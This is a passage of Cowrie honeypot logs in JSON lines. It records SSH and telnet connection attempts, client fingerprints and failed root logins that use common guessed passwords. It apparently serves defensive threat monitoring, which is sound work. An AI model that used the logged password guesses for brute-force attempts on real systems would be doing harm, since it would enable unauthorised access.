{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:00.462005Z","src_ip":"194.59.206.2","session":"36999a8ab1ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:00.552434Z","src_ip":"194.59.206.2","session":"36999a8ab1ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":59410,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ab45eb498f7","protocol":"ssh","message":"New connection: 91.92.40.11:59410 (10.17.0.5:22) [session: 5ab45eb498f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:07.462539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:07.662704Z","src_ip":"91.92.40.11","session":"5ab45eb498f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:07.666171Z","src_ip":"91.92.40.11","session":"5ab45eb498f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:08.871633Z","src_ip":"91.92.40.11","session":"5ab45eb498f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:10.241998Z","src_ip":"91.92.40.11","session":"5ab45eb498f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":8718,"dst_ip":"159.203.135.109","dst_port":22,"session":"c05e86cb8b94","protocol":"ssh","message":"New connection: 178.128.39.166:8718 (159.203.135.109:22) [session: c05e86cb8b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:10.405278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:10.477712Z","src_ip":"178.128.39.166","session":"c05e86cb8b94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:10.568982Z","src_ip":"178.128.39.166","session":"c05e86cb8b94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:11.190866Z","src_ip":"178.128.39.166","session":"c05e86cb8b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":37370,"dst_ip":"10.17.0.5","dst_port":22,"session":"614989d87a53","protocol":"ssh","message":"New connection: 162.144.88.94:37370 (10.17.0.5:22) [session: 614989d87a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:11.650198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:11.656622Z","src_ip":"162.144.88.94","session":"614989d87a53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:11.739583Z","src_ip":"162.144.88.94","session":"614989d87a53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haiti","password":"PortAuPrince#Ethereum$P@ss!","message":"login attempt [haiti/PortAuPrince#Ethereum$P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:11.986378Z","src_ip":"162.144.88.94","session":"614989d87a53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:12.332257Z","src_ip":"178.128.39.166","session":"c05e86cb8b94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:13.070361Z","src_ip":"162.144.88.94","session":"614989d87a53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50818,"dst_ip":"159.203.135.109","dst_port":23,"session":"14367577ec87","protocol":"telnet","message":"New connection: 107.6.151.170:50818 (159.203.135.109:23) [session: 14367577ec87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:15.909554Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":37928,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7dd27e19a25","protocol":"ssh","message":"New connection: 103.149.28.157:37928 (10.17.0.5:22) [session: c7dd27e19a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:39.195110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:39.198031Z","src_ip":"103.149.28.157","session":"c7dd27e19a25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:39.438684Z","src_ip":"103.149.28.157","session":"c7dd27e19a25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"benjamin1","message":"login attempt [root/benjamin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:40.158498Z","src_ip":"103.149.28.157","session":"c7dd27e19a25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:22:41.407169Z","src_ip":"103.149.28.157","session":"c7dd27e19a25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":45284,"dst_ip":"159.203.135.109","dst_port":22,"session":"94095fdd482d","protocol":"ssh","message":"New connection: 202.61.233.105:45284 (159.203.135.109:22) [session: 94095fdd482d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:00.855371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:00.859331Z","src_ip":"202.61.233.105","session":"94095fdd482d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:00.954624Z","src_ip":"202.61.233.105","session":"94095fdd482d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1ngx@S3cur3$","message":"login attempt [root/B1ngx@S3cur3$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:01.243274Z","src_ip":"202.61.233.105","session":"94095fdd482d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:02.342648Z","src_ip":"202.61.233.105","session":"94095fdd482d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":51650,"dst_ip":"10.17.0.5","dst_port":22,"session":"311a96539153","protocol":"ssh","message":"New connection: 91.92.40.11:51650 (10.17.0.5:22) [session: 311a96539153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:06.478688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:06.539204Z","src_ip":"91.92.40.11","session":"311a96539153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:06.616590Z","src_ip":"91.92.40.11","session":"311a96539153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:07.376528Z","src_ip":"91.92.40.11","session":"311a96539153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:08.658082Z","src_ip":"91.92.40.11","session":"311a96539153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":46058,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4d73064cf4a","protocol":"ssh","message":"New connection: 85.214.154.50:46058 (10.17.0.5:22) [session: f4d73064cf4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:12.350295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:12.353371Z","src_ip":"85.214.154.50","session":"f4d73064cf4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:12.445753Z","src_ip":"85.214.154.50","session":"f4d73064cf4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jaxx2024","message":"login attempt [root/jaxx2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:12.726281Z","src_ip":"85.214.154.50","session":"f4d73064cf4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:23:13.821575Z","src_ip":"85.214.154.50","session":"f4d73064cf4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":46574,"dst_ip":"10.17.0.5","dst_port":22,"session":"03e1dbcad7c3","protocol":"ssh","message":"New connection: 91.92.40.11:46574 (10.17.0.5:22) [session: 03e1dbcad7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:24:04.844855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:24:04.930718Z","src_ip":"91.92.40.11","session":"03e1dbcad7c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","ae